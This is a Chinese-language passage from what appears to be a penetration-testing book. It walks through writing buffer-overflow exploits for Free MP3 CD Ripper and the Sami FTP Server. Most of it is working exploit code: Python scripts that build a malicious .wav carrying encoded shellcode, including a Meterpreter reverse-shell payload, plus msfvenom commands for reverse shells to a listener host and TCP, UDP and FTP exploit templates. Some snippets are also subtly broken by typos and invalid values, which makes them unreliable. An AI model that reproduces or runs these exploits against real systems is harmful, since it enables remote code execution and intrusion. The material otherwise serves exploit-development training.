现在您已经了解了将数据注入缓冲区并溢出的基础知识,我们可以针对一个真正易受攻击的解决方案。我们将使用 Free MP3 CD Ripper 程序作为示例。这个程序在开发利用程序方面提供了非常少的实际价值,但开发它是一个相对简单的练习。

编写基本缓冲区溢出利用

我们将利用 Free MP3 CD Ripper 软件程序的版本 1。为此,我们需要从以下位置下载并安装该产品free-mp3-cd-ripper.en.softonic.com/。为了利用该程序的弱点,我们将使用以下 Python 脚本,它将生成一个恶意的.wav 文件,可以上传到该程序中。数据将被解释,并将创建一个我们可以观察并尝试调整和构建利用的溢出条件。如前所述,我们将加载多种不同的字符到该文件中,以便我们可以估计存储的 EIP 值的相对位置。

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4000
fill +="B"*1000
fill +="C"*1000
exploit = fill
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

这个脚本将用四千个 A,一千个 B 和一千个 C 填充恶意的波形文件。现在,打开 Immunity 程序,如下所示:

编写基本缓冲区溢出利用

使用您的新 Python 脚本生成恶意的波形文件,如下所示:

编写基本缓冲区溢出利用

然后,加载具有易受攻击程序的新文件,如下所示:

编写基本缓冲区溢出利用

结果是,我们得到了一个坚实的 Bs 崩溃,如下所示,这意味着我们的 EIP 覆盖在四千到五千个字符之间。

编写基本缓冲区溢出利用

此外,我们看到 EBX、EBP、ESI 和 EDI 中都有 Bs,但 ESP 呢?我们需要找到放置我们的 shell 代码的空间,最简单的方法是使用 ESP。所以,我们将转储该寄存器的内容——您可以通过右键单击寄存器并在 Immunity 的左下角窗格中查看详细信息来执行此操作,如两个图像组件所示。

编写基本缓冲区溢出利用

正如您所看到的,我们也用 Bs 填充了 ESP。我们需要缩小可以放置我们的 shellcode 和 EIP 位置的位置,因此我们将使用 Metasploit 的pattern_create.rb。首先,我们需要找到 EIP,所以我们将生成五千个唯一的字符。当您使用此脚本时,您将能够注入数据,然后确定覆盖的确切位置。下图突出显示了如何生成唯一数据集。

编写基本缓冲区溢出利用

现在,将字符从输出文件中复制出来,并将它们作为新的.wav文件再次输入程序。当我们加载新的.wav文件时,我们看到程序再次崩溃,并且一个值覆盖了 EIP。

编写基本缓冲区溢出利用

我们需要复制该值,并使用它来确定我们的利用所需的实际偏移量,使用patter_offset.rb脚本,通过输入内存地址和我们最初请求的字符数。

编写基本缓冲区溢出利用

所以,现在我们将我们的填充变量更新为该值。我们必须验证这些垃圾数据是否会导致我们直接落在 EIP 上,以便可以被覆盖。可以执行一个测试用例来验证我们已经准确找到了 EIP,通过使用以下代码明确设置它:

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x42424242)
exploit = fill + eip
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

该代码的输出产生了以下结果,这意味着我们已经准确找到了 EIP 的位置:

编写基本缓冲区溢出利用

现在,记住我们在测试中验证了我们覆盖了 ESP。我们将使用 ESP 和 EIP 之间的区域来保存我们的 shellcode。因此,我们正在寻找 jmp esp 命令,并且我们将使用微软的共享库来实现。DLL 在每个程序周期中都会被加载和重复使用。这意味着我们可以查看程序使用的 DLL,并尝试找到一个可以用来引用 jmp esp 命令的内存位置。然后,我们可以用可行的 DLL 中 jmp esp 指令的内存位置替换 EIP 值。

如果你按下 Alt + E,你将会看到一个新窗口,其中包含了整个受影响的程序 DLL 和系统 DLL。请看下面的截图,突出显示了这些 DLL:

编写基本缓冲区溢出利用

程序和系统 DLL

双击 kernel32.dll,然后右键搜索特定命令:

编写基本缓冲区溢出利用

一旦我们点击命令,我们搜索操作指令集 jmp esp,它告诉程序跳转到 ESP。

编写基本缓冲区溢出利用

我们复制结果并获得以下信息:

7C874413   FFE4             JMP ESP

接下来,我们将 EIP 设置为发现的地址。这个地址是一个很好的目标地址,因为没有坏字符,比如 "\x00"。这些字符实际上会阻止我们的代码完全执行。有很多方法可以测试坏字符,但有一些标准我们尽量避免。

  • 空字符 ("\x00")

  • 换页符 ("\xFF")

  • 制表符 ("\x09")

  • 换行符 ("\x0A")

  • 回车符 ("\x0D")

其他字符可以通过使用潜在的坏字符列表对应用程序进行模糊测试来进行测试。你可以将这些字符集列表从 "\x00" 到 "\xFF" 注入进去。当你看到应用程序崩溃时,你已经确定了一个坏字符。删除元组中的字符,存储该值,然后再试一次。一旦通过一个坏字符执行而不崩溃,你就确定了所有可行的坏字符。在确定了剩余的堆栈空间有多大和偏移量之后,我们可以测试坏字符。

接下来是识别堆栈偏移空间。在利用脚本中将 shellcode 放在 EIP 值后面是无效的。这可能导致字符被无序读取,进而导致 shellcode 执行失败。

这是因为如果我们跳转到 ESP 而没有考虑到空隙,我们可能会偏移代码。这意味着完整的指令集将无法被整体解释。这意味着我们的代码将无法正确执行。此外,如果我们不精确并在 EIP 和 ESP 之间插入大量 NOP 数据,你可能会占用可用于 shellcode 的宝贵空间。记住,堆栈空间是有限的,所以精确是有益的。

为了测试这一点,我们可以编写一个快速生成器脚本,这样我们就不会影响我们的实际利用脚本。这个脚本帮助我们测试 EIP 和 ESP 之间的空隙。

#!/usr/bin/env python
data = "A"*4112 #Junk
data += "BBBB" #EIP
data += "" #Where you place the pattern_create.rb data
open('exploit.wav', 'w').close()
with open("exploit.wav", "w") as text_file:
    text_file.write(data)

然后我们运行相同的 pattern_create.rb 脚本,但只使用 1000 个字符而不是 5000 个。将输出数据放入数据变量并运行生成器脚本。在监视程序的同时加载 exploit.wav 文件,就像之前一样。当程序再次崩溃时,查看 ESP 的转储。

编写基本缓冲区溢出利用

当你查看转储时,你会发现最初偏移了十个字符。这意味着为了使这段代码的执行更可靠,我们需要在 EIP 和 shellcode 之间添加十个或更多个字符的 NOP。现在,我们需要确定在堆栈的这个位置有多少空间可以注入我们的代码。我们查看我们的内存转储,并找到开始和结束地址之间的差异,以确定我们有多少空间。通过取两个地址,我们发现我们有大约 320 字节的有限空间可以使用。

如果我们正在执行单阶段有效负载,有一些步骤我们可以执行来验证我们是否会保持在范围内。然而,我们正在执行多阶段有效负载,这意味着我们需要比提供的空间更多。这意味着我们需要实时修改堆栈大小,但在那之前,我们应该确认我们可以获得代码执行,并且你需要了解堆栈空间耗尽的情况是什么样的。

现在我们知道了我们的堆栈空间和偏移量,我们可以调整脚本以搜索潜在的恶意字符。接下来,我们在代码末尾添加一个 NOP 滑梯,以确保执行 Jump to ESP 直到它触及可执行代码。我们通过计算我们可以使用的整个区域,并从中减去偏移量和 shellcode 来实现这一点。

然后我们创建一个占据剩余空间的 NOP 滑梯。执行这个最简单的方法是使用类似于这个方程的方程nop = "\x90"*(320-len(shell)-len(offset))。更新后的 Python 代码如下所示。使用以下 Python 脚本,我们可以测试恶意字符;请注意,我们必须在初始大小之后进行这样做,因为我们的问题区域将在剩余的堆栈空间中。

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
available_shellcode_space = 320
characters"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"
"\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d"
"\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c"
"\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b"
"\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
"\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59"
"\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68"
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77"
"\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86"
"\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95"
"\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4"
"\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3"
"\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1"
"\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe"
"\xff")
nop = "\x90"*(available_shellcode_space-len(shell)-len(offset))
exploit = fill + eip + offset + shell + nop
open('exploit.wav', 'w').close()
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

我们应该生成我们的模拟 shellcode,程序将跳转到这里。对于一个初始测试案例,你希望从一个简单的例子开始,它不会有任何其他依赖关系。所以,我们可以告诉注入的代码调用一个calc.exe的实例。要做到这一点,我们只需要使用msfvenom来生成 shellcode。

msfvenom -p windows/exec CMD=calc.exe -f c -b '\x00\xff'

这样做的目的是生成可以放置在 Python 元组中的 shellcode,并删除潜在的恶意字符'\x00''\xff'。像msfvenom这样的工具会自动使用编码器来完成这项工作。编码器的目的是删除恶意字符;有一个很大的误解,即它们用于绕过像防病毒软件这样的 HIPS。

多年前,在 HIPS 中进行基本的签名分析可能没有捕获到利用程序,因为它没有匹配一个非常具体的签名。今天,安全工具开发人员已经变得更加优秀,触发器更具分析性。因此,编码器帮助阻止 HIPS 解决方案捕获利用程序的谬论最终正在消失。

编写基本的缓冲区溢出利用程序

我们的新利用程序与calc.exe代码如下所示:

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
available_shellcode_space = 320
shell =("\xda\xd3\xd9\x74\x24\xf4\xb8\x2c\xde\xc4\x11\x5a\x29\xc9\xb1"
"\x31\x31\x42\x18\x03\x42\x18\x83\xea\xd0\x3c\x31\xed\xc0\x43"
"\xba\x0e\x10\x24\x32\xeb\x21\x64\x20\x7f\x11\x54\x22\x2d\x9d"
"\x1f\x66\xc6\x16\x6d\xaf\xe9\x9f\xd8\x89\xc4\x20\x70\xe9\x47"
"\xa2\x8b\x3e\xa8\x9b\x43\x33\xa9\xdc\xbe\xbe\xfb\xb5\xb5\x6d"
"\xec\xb2\x80\xad\x87\x88\x05\xb6\x74\x58\x27\x97\x2a\xd3\x7e"
"\x37\xcc\x30\x0b\x7e\xd6\x55\x36\xc8\x6d\xad\xcc\xcb\xa7\xfc"
"\x2d\x67\x86\x31\xdc\x79\xce\xf5\x3f\x0c\x26\x06\xbd\x17\xfd"
"\x75\x19\x9d\xe6\xdd\xea\x05\xc3\xdc\x3f\xd3\x80\xd2\xf4\x97"
"\xcf\xf6\x0b\x7b\x64\x02\x87\x7a\xab\x83\xd3\x58\x6f\xc8\x80"
"\xc1\x36\xb4\x67\xfd\x29\x17\xd7\x5b\x21\xb5\x0c\xd6\x68\xd3"
"\xd3\x64\x17\x91\xd4\x76\x18\x85\xbc\x47\x93\x4a\xba\x57\x76"
"\x2f\x34\x12\xdb\x19\xdd\xfb\x89\x18\x80\xfb\x67\x5e\xbd\x7f"
"\x82\x1e\x3a\x9f\xe7\x1b\x06\x27\x1b\x51\x17\xc2\x1b\xc6\x18"
"\xc7\x7f\x89\x8a\x8b\x51\x2c\x2b\x29\xae")
nop = "\x90"*(available_shellcode_space-len(shell)-len(offset))
exploit = fill + eip + offset + shell + nop
open('exploit.wav', 'w').close()
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

然后我们运行代码生成新的恶意.wav文件,然后将其加载到程序中,看看 EIP 是否被覆盖,并且calc.exe二进制文件是否被执行。

编写基本的缓冲区溢出利用程序

现在基本的利用程序已经编写好了,我们可以更新它以通过这个弱点建立一个会话 shell。首先,我们需要确定对我们的利用程序来说最合适的有效负载大小。总的来说,这个堆栈空间是有限的,所以我们可以尝试最小化我们的足迹,但正如你将看到的那样,这并不重要。

你可以通过猜测和使用msfvenom-s标志来生成你的有效负载,但这是低效和缓慢的。你会发现,随着有效负载的生成,它们可能根据你选择的有效负载类型和需要删除恶意字符和调整包大小的编码器而不兼容。

不要玩猜谜游戏,我们可以通过在/usr/share/metasploit-framework/tools目录中运行payload_lengths.rb脚本来确定一个好的起点。这些脚本提供了有关有效负载长度的详细信息,但请考虑我们正在寻找可能小于 300 个字符的小有效负载。因此,我们可以运行 awk 脚本来查找有效负载的大小,并使用 grep 来查找在 Windows 环境中使用的有效负载,如下所示:

编写基本的缓冲区溢出利用

这些命令的输出结果只有不到 40 个,但一些好的选项包括以下内容:

编写基本的缓冲区溢出利用

在我们的 Metasploit 实例上,我们启动exploit/multi/handler,它将接收 shell。

编写基本的缓冲区溢出利用

然后,我们生成我们的新 shell 代码windows/meterpreter/reverse_nonx_tcp,并用它替换我们的计算器代码。我们选择这种有效负载类型,因为它是一个非常小的 Meterpreter,这意味着由于我们知道我们的内存占用可能受限,我们有更好的机会成功利用这个漏洞。

msfvenom -p windows/meterpreter/reverse_nonx_tcp lhost=192.168.195.169 lport=443 -f c -b '\x00\xff\x01\x09\x0a\x0d'

提示

这些例子中列出了额外的坏字符。出于习惯,我通常在生成有效负载时将这些字符保留下来。请记住,您拥有的坏字符越多,编码器就必须添加执行功能等效操作的操作越多。这意味着随着您的编码越多,您的有效负载通常会变得更大。

命令的输出如下,只有 204 字节的大小:

编写基本的缓冲区溢出利用

放置在利用代码中,我们得到以下 Python 利用程序:

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
available_shellcode_space = 320
shell =("\xba\x16\xdf\x1b\x5d\xd9\xf6\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x2d\x31\x56\x13\x83\xc6\x04\x03\x56\x19\x3d\xee\xa1\x4f\x2a"
"\x56\xb2\x76\x53\xa6\xbd\xe8\x9d\x82\xc9\x95\xe1\xbf\xb2\x58"
"\x62\xc1\xa5\x29\xc5\xe1\x38\xc7\x61\xd5\xa0\x16\x98\x27\x15"
"\x81\xc8\x89\x5f\xbc\x11\xc8\xe4\x7e\x64\x3a\xa7\x18\xbe\x08"
"\x5d\x07\x8b\x07\xd1\xe3\x0d\xf1\x88\x60\x11\x58\xde\x39\x36"
"\x5b\x09\xc6\x6a\xc2\x40\xa4\x56\xe8\x33\xcb\x77\x21\x6f\x57"
"\xf3\x01\xbf\x1c\x43\x8a\x34\x52\x58\x3f\xc1\xfa\x68\x61\xb0"
"\xa9\x0e\xf5\x0f\x7f\xa7\x72\x03\x4d\x68\x29\x85\x08\xe4\xb1"
"\xb6\xbc\x9c\x61\x1a\x13\xcc\xc6\xcf\xd0\xa1\x41\x08\xb0\xc4"
"\xbd\xdf\x3e\x90\x12\x86\x87\xf9\x4a\xb9\x21\x63\xcc\xee\xa2"
"\x93\xf8\x78\x54\xac\xad\x44\x0d\x4a\xc6\x4b\xf6\xf5\x45\xc5"
"\xeb\x90\x79\x86\xbc\x02\xc3\x7f\x47\x34\xe5\xd0\xf3\xc6\x5a"
"\x82\xac\x85\x3c\x9d\x92\x12\x3e\x3b")
nop = "\x90"*(available_shellcode_space-len(shell)-len(offset))
exploit = fill + eip + offset + shell + nop
open('exploit.wav', 'w').close()
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

执行时,我们得到以下结果,显示利用程序生成了一个 shell:

编写基本的缓冲区溢出利用

现在,这个例子很简单,它可能为系统提供一个本地利用,但有一个问题,我们的利用失败了,因为空间不够。如前所述,我们必须调整我们放置 shell 代码的区域。

理解堆栈调整

我们表明代码执行在中间利用失败,因为我们的第二阶段在内存中破坏了我们的第一阶段代码。因此,我们需要更多的堆栈空间来完成这个利用。如果必要的话,我们可以在内存中分割我们的代码,或者我们可以简单地扩展堆栈中的空间。

这是通过告诉系统向 ESP 添加空间来完成的。您可以通过两种方式之一来实现这一点:通过添加负空间或减去正空间。这是因为堆栈从高地址向低地址增长,正如我们之前提到的那样。

理解堆栈调整

因此,我们看到我们正在利用中破坏 shellcode,所以我们可以通过告诉 ESP 移动来补偿必要的空间。

理解堆栈调整

为此,我们需要在 shellcode 的前面添加一个十六进制调整。我们将以两种不同的方式来做这件事。我们将在本节中重点介绍第一种方式。然后,我们将解释第二种方式,即反向 Metasploit 有效负载。首先,我们需要弄清楚如何调整实际的堆栈;我们可以使用/usr/share/metasploit-framework/tools/nasm_shell.rb中的nasm_shell.rb来做到这一点。

80,000 的堆栈调整意味着我们将这个值添加到 ESP。为此,我们需要计算 80,000 的 ESP 调整,但为了进行这个计算,我们需要将 80,000 转换为十六进制值。十六进制等价值为 13880。

理解堆栈调整

提示

您可以使用内置的 Windows 计算器在科学模式下从十进制转换为十六进制,反之亦然。

这意味着我们在我们的漏洞利用中添加以下代码来调整堆栈adjustment = struct.pack('<I',0x81EC80380100)。然后,我们在 shellcode 之前添加调整值exploit = fill + eip + offset + adjustment + shell。最后,我们移除我们的 NOP sled,因为这不是填充我们的次级阶段将包含的空间,最终的代码将类似于这样。

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
available_shellcode_space = 320
adjustment = struct.pack('<I',0x81EC80380100)
shell =("\xba\x16\xdf\x1b\x5d\xd9\xf6\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x2d\x31\x56\x13\x83\xc6\x04\x03\x56\x19\x3d\xee\xa1\x4f\x2a"
"\x56\xb2\x76\x53\xa6\xbd\xe8\x9d\x82\xc9\x95\xe1\xbf\xb2\x58"
"\x62\xc1\xa5\x29\xc5\xe1\x38\xc7\x61\xd5\xa0\x16\x98\x27\x15"
"\x81\xc8\x89\x5f\xbc\x11\xc8\xe4\x7e\x64\x3a\xa7\x18\xbe\x08"
"\x5d\x07\x8b\x07\xd1\xe3\x0d\xf1\x88\x60\x11\x58\xde\x39\x36"
"\x5b\x09\xc6\x6a\xc2\x40\xa4\x56\xe8\x33\xcb\x77\x21\x6f\x57"
"\xf3\x01\xbf\x1c\x43\x8a\x34\x52\x58\x3f\xc1\xfa\x68\x61\xb0"
"\xa9\x0e\xf5\x0f\x7f\xa7\x72\x03\x4d\x68\x29\x85\x08\xe4\xb1"
"\xb6\xbc\x9c\x61\x1a\x13\xcc\xc6\xcf\xd0\xa1\x41\x08\xb0\xc4"
"\xbd\xdf\x3e\x90\x12\x86\x87\xf9\x4a\xb9\x21\x63\xcc\xee\xa2"
"\x93\xf8\x78\x54\xac\xad\x44\x0d\x4a\xc6\x4b\xf6\xf5\x45\xc5"
"\xeb\x90\x79\x86\xbc\x02\xc3\x7f\x47\x34\xe5\xd0\xf3\xc6\x5a"
"\x82\xac\x85\x3c\x9d\x92\x12\x3e\x3b")
exploit = fill + eip + offset +adjustment + shell
open('exploit.wav', 'w').close()
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

然而,这种方法存在一个问题。如果您的堆栈调整中有坏字符,您需要通过编码来消除这些字符。由于您通常不会在以后修改您的堆栈调整,您可以将其作为您的 shell 的一部分,并对整个代码块进行编码。当我们反向一个 Metasploit 模块时,我们将通过这个过程。

提示

确保在你的代码中添加关于你的堆栈调整的注释;否则,当你尝试扩展这个漏洞利用或使用其他有效负载时,你会非常沮丧。

作为一个附带的好处,如果我们使用这种方法而不是使用 NOP sleds,那么漏洞利用不太可能被 HIPS 捕捉到。现在我们已经做了所有这些,意识到有一种更简单的方法可以使用标准有效负载来获得访问权限。

提示

如果你仍然需要 NOPs 来进行真正的漏洞利用,确保使用 Metasploit 提供给你的 NOP 生成器。代码不使用"\x90"指令,而是进行无意义的数学运算。这些操作占用了堆栈空间,并提供了相同的功能。

理解本地利用的目的

值得注意的是,通过在系统上执行有效负载可以实现相同的访问权限。生成这样的有效负载只需要我们运行以下命令:

msfvenom -p windows/meterpreter/reverse_nonx_tcp lhost=192.168.195.169 lport=443 -b '\x00' -f exe -o /tmp/exploit.exe

然后,使用以下命令启动 Python Web 服务器:

python -m SimpleHTTPServer

以下图表突出了相关命令的输出:

理解本地利用的目的

然后,通过浏览器在受害者系统上下载并执行有效负载来实现期望的结果。

理解本地利用的目的

因此,您可能会问自己,那我们为什么要创建这个漏洞利用呢?如果我们刚刚为其创建漏洞利用的软件是以管理员身份而不是我们登录的用户身份运行的,那么利用这个解决方案将更有用。然而,尽管这种情况在这个程序的性质中是不太可能的。因此,为这种漏洞生成 Metasploit 模块将不会很有用。相反,考虑到这一点,这个练习是写你的第一个漏洞利用的绝佳机会。

在编写漏洞利用时还有另一个考虑因素,那就是根据程序的不同,您的漏洞利用可能不太可靠。这意味着由于代码的细微差别,您的漏洞利用可能会时而有效,时而无效。因此,在真实组织中执行之前,您将不得不在实验环境中进行实质性的测试。

理解其他漏洞利用脚本

除了编写可以上传到程序中的恶意文件之外,您可能还需要生成与服务交互的代码,这些服务可以是接受参数的独立程序、TCP 服务,甚至是 UDP 服务。考虑我们刚刚利用的上一个程序,如果它的性质不同,我们仍然可以利用它,只是脚本与它交互的方式会有所不同。以下三个示例展示了如果满足这些条件,代码会是什么样子。当然,内存地址和大小必须根据您可能遇到的其他程序进行调整。

通过执行脚本利用独立的二进制文件

我们甚至可以创建 Python 脚本来包装需要传递参数的程序。这样,您可以使用包装脚本构建漏洞利用,这些脚本注入代码,如下所示:

import subprocess, strut
program_name = 'C:\exploit_writing\vulnerable.exe'
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
available_shellcode_space = 320
shell =() #Code to insert
remaining space
exploit = fill + eip + offset + shell
subprocess.call([program_name, exploit])

这种形式的利用是你可能会遇到的最罕见的,因为通常不会授予你任何额外的权限。创建这类利用时,通常是为了查看通过白名单程序与用户级权限相比可能被授予的额外访问权限。请记住,这种类型的利用比恶意文件、TCP 或 UDP 服务更难编写。在另一方面,你可能会编写的最常见的利用是 TCP 服务利用。

通过 TCP 服务利用系统

通常情况下,你会发现可以通过 TCP 进行利用的服务。这意味着,为了进行分析,你需要设置一个测试盒,其中安装了 Immunity 或其他调试器以及正在运行的服务。你需要将 Immunity 连接到该服务并测试你之前所做的利用。

import sys, socket, strut
rhost = "192.168.195.159"
lhost = "192.168.195.169"
rport = 23
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
shell =() #Code to insert
# NOPs to fill the remaining space
exploit = fill + eip + offset + shell
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.sendto(exploit, (rhost, rport))

如果第七章中突出显示的 TFTP 服务容易受到潜在的缓冲区溢出攻击,我们将考虑为 UDP 服务创建一个利用。

通过 UDP 服务利用系统

生成 UDP 服务的利用与 TCP 服务非常相似。唯一的区别是你正在使用不同的通信协议。

import sys, socket, strut
rhost = "192.168.195.159"
lhost = "192.168.195.169"
rport = 69
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
available_shellcode_space = 320
shell =() #Code to insert
# NOPs to fill the remaining space
exploit = fill + eip + offset + shell
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(exploit, (rhost, rport))

现在你已经了解了你可能编写的最常见类型的利用的基础知识,让我们来看一下如何反向操作 Metasploit 模块。

反向操作 Metasploit 模块

很多时候,你可能会发现一个服务是可利用的,但 Metasploit 模块并没有构建用于利用该服务版本或特定操作系统版本的功能。这并不罕见,只需回想一下之前编写利用的情况。根据可能已被引用的 DLL,该模块可能没有针对特定操作系统进行更新。此外,如果新版本的操作系统发布,而程序或服务仍然可行,你可能需要扩展该模块。

回想一下第五章中的用 Python 利用服务,以及我们如何进行研究以查找内核是否存在漏洞。考虑进行类似研究可能会导致对潜在缓冲区溢出漏洞的引用。你可以从头开始,也可以将 Metasploit 模块反向操作为一个独立的 Python 脚本,并轻松测试扩展功能。然后,你可以将更改合并到 Metasploit 模块中,甚至创建你自己的模块。

我们将对 Sami FTP Server 2.0.1 的 Metasploit 模块进行反向操作,从概念上来说,实际上是。为了简洁起见,我们不会展示整个利用代码,但你可以在 Metasploit 的安装目录下的/usr/share/metasploit-framework/modules/exploits/windows/ftp中查看。关于这个模块的更多细节可以在这里找到:www.rapid7.com/db/modules/exploit/windows/ftp/sami_ftpd_list

反向操作 Metasploit 模块时的第一件事是设置实际的利用。这将揭示需要设置的用于利用实际服务的必要参数。正如你所看到的,我们需要用户名、密码和相关有效载荷。

反向操作 Metasploit 模块

接下来,我们将看一下实际的有效载荷;我发现将其复制到像 Notepad++这样的代码编辑器中会更容易。这样可以让你看到通常需要哪些括号和分隔符。与以前编写利用的示例不同,我们将从实际的 shellcode 开始,因为这将需要最大的努力。因此,看一下实际 Metasploit 模块的有效载荷部分。

反向操作 Metasploit 模块

如您所见,堆栈调整为 3500,以更准确地容纳 shellcode 的放置。您可以再次使用上面突出显示的相同方法进行计算。在较新的 Metasploit 模块中,您将看到PrependEncoder而不是StackAdjustment,带有加号或减号的值。因此,作为模块开发人员,您不必实际计算十六进制代码。

堆栈调整为-3500意味着我们将这个值添加到 ESP。为此,我们需要计算-3500的 ESP 调整,但是为了进行这个计算,我们需要将-3500改为十六进制值。十六进制等价值为-0xDAC

逆向 Metasploit 模块

现在,我们将调整数据打印成十六进制文件。

逆向 Metasploit 模块

正如您在模块的有效负载部分看到的,有已知的不良字符。当我们生成初始有效负载时,我们将这些字符纳入到有效负载生成中。现在,我们使用这些特性生成有效负载。

msfvenom -p windows/vncinject/reverse_http lhost=192.168.195.172 lport=443 -b '\x00\x0a\x0d\x20\x5c' -f raw -o payload

逆向 Metasploit 模块

我们验证了使用hexdump命令生成的有效负载。

hexdump -C payload

下图显示了有效负载的输出:

逆向 Metasploit 模块

为了结合堆栈调整代码和实际有效负载,我们可以使用下图中突出显示的方法,显示了这个命令的简单性:

逆向 Metasploit 模块

执行后,我们验证了两个组件的组合,如您所见,调整的十六进制代码被放置在 shellcode 的前面。

逆向 Metasploit 模块

现在,将数据编码为脚本可用的格式,删除我们通常知道会破坏漏洞的不良字符。

cat shellcode |msfvenom -b "\x00\xff\x01\x09\x0a\x0d" -e x86/shikata_ga_nai -f c --arch x86 --platform win

生成的输出是实际用于此漏洞利用的 shellcode:

逆向 Metasploit 模块

现在,我们可以开始使用 Metasploit 模块中的所有功能来构建我们的漏洞利用。我们将使用目标代码来提取OffsetRet数据。Ret保存 EIP 的返回地址,Offset提供了调整 shellcode 放置位置所需的数据。

逆向 Metasploit 模块

生成我们的漏洞利用的返回地址组件非常简单。

eip = struct.pack('<I',0x10028283)

设置偏移量可能因模块而异,您可能需要进行额外的数学运算来获得正确的值。因此,始终查看实际的漏洞利用代码,如下所示:

逆向 Metasploit 模块

我们看到偏移量的长度减去了 IP 地址的大小。这创建了一个更新的偏移值。

offset = 228 - len(lhost)

我们可以看到生成了随机文本的垃圾数据。因此,我们可以以类似的方式生成我们的 NOPs。

nop = "\x90" *16

接下来,我们需要创建注入漏洞代码的操作顺序。

exploit = offset + eip + nop + shell

如您所见,使用前面章节中的知识一切都非常简单。最后一个组件是设置处理程序与 FTP 服务进行交互。

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((rhost, rport))
print(client.recv(1024))
client.send("USER " + username + "\r\n")
print(client.recv(1024))
client.send("PASS "password + "\r\n")
print(client.recv(1024))
print("[*] Sending exploit")
client.send("LIST" + exploit + "\r\n")
print(client.recv(1024))
client.close()

最终结果是一个可以测试并运行在实际服务器上的 Python 漏洞利用。这为测试提供了一个很好的起点。如果发现 Metasploit 模块不完美,将其逆向创建一个独立的模块,可以帮助您排除可能的问题。

请记住,漏洞利用有一个可靠性评级系统。如果漏洞利用的可靠性评级较低,意味着它可能无法始终产生期望的结果。这为您提供了尝试改进实际 Metasploit 模块并为社区做出贡献的机会。例如,这个漏洞利用的评级是低的;考虑测试并尝试改进它。

import sys, socket, strut
rhost = "192.168.195.159"
lhost = "192.168.195.172"
rport = 21
password = "badpassword@hacku.com"
username = "anonymous"
eip = struct.pack('<I',0x10028283)
offset = 228 - len(lhost)
nop  = "\x90" *16
shell =() #Shellcode was not inserted to save space
exploit = offset + eip + nop + shell
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((rhost, rport))
print(client.recv(1024))
client.send("USER " + username + "\r\n")
print(client.recv(1024))
client.send("PASS "password + "\r\n")
print(client.recv(1024))
print("[*] Sending exploit")
client.send("LIST" + exploit + "\r\n")
print(client.recv(1024))
client.close()
print("[*] Sent exploit to %s on port %s") % (rhost,rport)

现在,这个特定的漏洞利用是为 Windows XP SP 3 开发的。您现在可以使用这段代码来尝试并针对不同的平台。独立的 Python 漏洞利用意味着您有必要的能力来扩展漏洞利用。然后,您可以将额外的目标添加到 Metasploit 模块中。这可以通过修改模块的以下部分来实现。

反向工程 Metasploit 模块

以下是实际模块中的代码如何更新以包含其他相关目标的方式:

'Targets'        =>
        [
          [ 'Sami FTP Server 2.0.1 / Windows XP SP 3',   { 'Ret' => 0x10028283, 'Offset' => 228 } ],
          [ 'New Definition', { 'Ret' => 0x#######, 'Offset' => ### } ],

通过这个例子,我们看到了如何反向工程 Metasploit 模块以创建一个独立的漏洞利用,这可以用来扩展目标选择并提高未来漏洞利用的可靠性。

注意

